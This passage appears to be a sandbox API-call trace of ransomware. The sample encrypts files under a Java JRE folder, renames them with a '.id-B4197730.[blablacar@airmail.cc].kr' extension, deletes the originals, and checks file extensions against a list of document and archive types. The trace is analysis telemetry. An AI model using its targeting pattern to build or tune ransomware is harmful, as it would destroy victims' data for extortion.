nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x44670, lpOverlapped=0x0) returned 1 [0179.909] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0179.909] WriteFile (in: hFile=0x3fc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xfa, lpOverlapped=0x0) returned 1 [0179.909] SetEndOfFile (hFile=0x3fc) returned 1 [0179.910] CloseHandle (hObject=0x3fc) returned 1 [0179.916] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.916] SetEndOfFile (hFile=0x454) returned 1 [0180.215] CloseHandle (hObject=0x454) returned 1 [0180.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0180.216] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1 [0180.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0180.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0180.216] lstrlenW (lpString=".doc") returned 4 [0180.216] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0180.216] lstrlenW (lpString=".docx") returned 5 [0180.216] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0180.217] lstrlenW (lpString=".pdf") returned 4 [0180.217] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0180.217] lstrlenW (lpString=".xls") returned 4 [0180.217] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0180.217] lstrlenW (lpString=".xlsx") returned 5 [0180.217] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0180.217] lstrlenW (lpString=".ppt") returned 4 [0180.217] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0180.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0180.217] lstrlenW (lpString=".zip") returned 4 [0180.217] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0180.217] lstrlenW (lpString=".rar") returned 4 [0180.217] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0180.217] lstrlenW (lpString=".bz2") returned 4 [0180.217] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0180.217] lstrlenW (lpString=".7z") returned 3 [0180.217] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0180.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0180.217] lstrlenW (lpString=".dbf") returned 4 [0180.217] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0180.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0180.217] lstrlenW (lpString=".1cd") returned 4 [0180.217] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0180.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0180.217] lstrlenW (lpString=".jpg") returned 4 [0180.217] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0180.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0180.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0180.217] lstrlenW (lpString=".doc") returned 4 [0180.217] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0180.217] lstrlenW (lpString=".docx") returned 5 [0180.217] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0180.217] lstrlenW (lpString=".pdf") returned 4 [0180.218] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0180.218] lstrlenW (lpString=".xls") returned 4 [0180.218] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0180.218] lstrlenW (lpString=".xlsx") returned 5 [0180.218] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0180.218] lstrlenW (lpString=".ppt") returned 4 [0180.218] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0180.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0180.218] lstrlenW (lpString=".zip") returned 4 [0180.218] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0180.218] lstrlenW (lpString=".rar") returned 4 [0180.218] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0180.218] lstrlenW (lpString=".bz2") returned 4 [0180.218] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0180.218] lstrlenW (lpString=".7z") returned 3 [0180.218] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0180.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0180.218] lstrlenW (lpString=".dbf") returned 4 [0180.218] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0180.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0180.218] lstrlenW (lpString=".1cd") returned 4 [0180.218] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0180.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0180.218] lstrlenW (lpString=".jpg") returned 4 [0180.218] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0180.219] lstrcmpiW (lpString1=".bfc", lpString2=".kr") returned -1 [0180.219] lstrlenW (lpString="fontconfig.bfc") returned 14 [0180.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0180.219] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3770) returned 1 [0180.219] CloseHandle (hObject=0x454) returned 1 [0180.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20 [0180.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.220] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0180.220] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.220] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.220] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0180.220] GetLastError () returned 0x0 [0180.220] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0xeba, lpOverlapped=0x0) returned 1 [0180.222] WriteFile (in: hFile=0x3f8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xec0, lpOverlapped=0x0) returned 1 [0180.223] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0180.223] WriteFile (in: hFile=0x3f8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xf0, lpOverlapped=0x0) returned 1 [0180.223] SetEndOfFile (hFile=0x3f8) returned 1 [0180.224] CloseHandle (hObject=0x3f8) returned 1 [0180.225] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.225] SetEndOfFile (hFile=0x454) returned 1 [0180.227] CloseHandle (hObject=0x454) returned 1 [0180.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0180.228] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1 [0180.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0180.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0180.228] lstrlenW (lpString=".doc") returned 4 [0180.228] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0180.228] lstrlenW (lpString=".docx") returned 5 [0180.228] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0180.228] lstrlenW (lpString=".pdf") returned 4 [0180.228] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0180.228] lstrlenW (lpString=".xls") returned 4 [0180.228] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0180.228] lstrlenW (lpString=".xlsx") returned 5 [0180.228] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0180.228] lstrlenW (lpString=".ppt") returned 4 [0180.228] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0180.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0180.228] lstrlenW (lpString=".zip") returned 4 [0180.229] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0180.229] lstrlenW (lpString=".rar") returned 4 [0180.229] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0180.229] lstrlenW (lpString=".bz2") returned 4 [0180.229] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0180.229] lstrlenW (lpString=".7z") returned 3 [0180.229] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0180.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0180.229] lstrlenW (lpString=".dbf") returned 4 [0180.229] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0180.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0180.229] lstrlenW (lpString=".1cd") returned 4 [0180.229] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0180.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0180.229] lstrlenW (lpString=".jpg") returned 4 [0180.229] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0180.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0180.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0180.229] lstrlenW (lpString=".doc") returned 4 [0180.229] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0180.229] lstrlenW (lpString=".docx") returned 5 [0180.229] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0180.229] lstrlenW (lpString=".pdf") returned 4 [0180.229] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0180.229] lstrlenW (lpString=".xls") returned 4 [0180.229] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0180.229] lstrlenW (lpString=".xlsx") returned 5 [0180.229] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0180.229] lstrlenW (lpString=".ppt") returned 4 [0180.229] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0180.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0180.229] lstrlenW (lpString=".zip") returned 4 [0180.229] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0180.230] lstrlenW (lpString=".rar") returned 4 [0180.230] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0180.230] lstrlenW (lpString=".bz2") returned 4 [0180.230] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0180.230] lstrlenW (lpString=".7z") returned 3 [0180.230] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0180.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0180.230] lstrlenW (lpString=".dbf") returned 4 [0180.230] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0180.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0180.230] lstrlenW (lpString=".1cd") returned 4 [0180.230] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0180.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0180.230] lstrlenW (lpString=".jpg") returned 4 [0180.230] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0180.230] lstrcmpiW (lpString1=".src", lpString2=".kr") returned 1 [0180.230] lstrlenW (lpString="fontconfig.properties.src") returned 25 [0180.230] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0180.231] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=10568) returned 1 [0180.231] CloseHandle (hObject=0x454) returned 1 [0180.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20 [0180.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.231] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0180.231] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.231] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.231] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0180.232] GetLastError () returned 0x0 [0180.232] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2948, lpOverlapped=0x0) returned 1 [0180.233] WriteFile (in: hFile=0x3f8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2950, lpOverlapped=0x0) returned 1 [0180.234] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0180.234] WriteFile (in: hFile=0x3f8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x106, lpOverlapped=0x0) returned 1 [0180.235] SetEndOfFile (hFile=0x3f8) returned 1 [0180.235] CloseHandle (hObject=0x3f8) returned 1 [0180.236] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.236] SetEndOfFile (hFile=0x454) returned 1 [0180.238] CloseHandle (hObject=0x454) returned 1 [0180.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0180.239] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1 [0180.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0180.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0180.239] lstrlenW (lpString=".doc") returned 4 [0180.239] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0180.239] lstrlenW (lpString=".docx") returned 5 [0180.239] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0180.240] lstrlenW (lpString=".pdf") returned 4 [0180.240] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0180.240] lstrlenW (lpString=".xls") returned 4 [0180.240] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0180.240] lstrlenW (lpString=".xlsx") returned 5 [0180.240] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0180.240] lstrlenW (lpString=".ppt") returned 4 [0180.240] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0180.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0180.240] lstrlenW (lpString=".zip") returned 4 [0180.240] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0180.240] lstrlenW (lpString=".rar") returned 4 [0180.240] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0180.240] lstrlenW (lpString=".bz2") returned 4 [0180.240] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0180.240] lstrlenW (lpString=".7z") returned 3 [0180.240] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0180.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0180.240] lstrlenW (lpString=".dbf") returned 4 [0180.240] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0180.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0180.240] lstrlenW (lpString=".1cd") returned 4 [0180.240] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0180.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0180.240] lstrlenW (lpString=".jpg") returned 4 [0180.240] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0180.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0180.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0180.240] lstrlenW (lpString=".doc") returned 4 [0180.240] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0180.240] lstrlenW (lpString=".docx") returned 5 [0180.240] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0180.240] lstrlenW (lpString=".pdf") returned 4 [0180.240] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0180.241] lstrlenW (lpString=".xls") returned 4 [0180.241] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0180.241] lstrlenW (lpString=".xlsx") returned 5 [0180.241] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0180.241] lstrlenW (lpString=".ppt") returned 4 [0180.241] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0180.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0180.241] lstrlenW (lpString=".zip") returned 4 [0180.241] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0180.241] lstrlenW (lpString=".rar") returned 4 [0180.241] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0180.241] lstrlenW (lpString=".bz2") returned 4 [0180.241] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0180.241] lstrlenW (lpString=".7z") returned 3 [0180.241] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0180.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0180.241] lstrlenW (lpString=".dbf") returned 4 [0180.241] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0180.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0180.241] lstrlenW (lpString=".1cd") returned 4 [0180.241] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0180.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0180.241] lstrlenW (lpString=".jpg") returned 4 [0180.241] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0180.241] lstrcmpiW (lpString1=".ttf", lpString2=".kr") returned 1 [0180.241] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24 [0180.241] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0180.244] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=75144) returned 1 [0180.244] CloseHandle (hObject=0x454) returned 1 [0180.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20 [0180.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.244] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0180.244] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.244] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.244] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0180.313] GetLastError () returned 0x0 [0180.313] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x12588, lpOverlapped=0x0) returned 1 [0180.317] WriteFile (in: hFile=0x460, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x12590, lpOverlapped=0x0) returned 1 [0180.319] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0180.319] WriteFile (in: hFile=0x460, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x104, lpOverlapped=0x0) returned 1 [0180.319] SetEndOfFile (hFile=0x460) returned 1 [0180.319] CloseHandle (hObject=0x460) returned 1 [0180.321] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.321] SetEndOfFile (hFile=0x454) returned 1 [0180.326] CloseHandle (hObject=0x454) returned 1 [0180.326] SetFileAttributesW 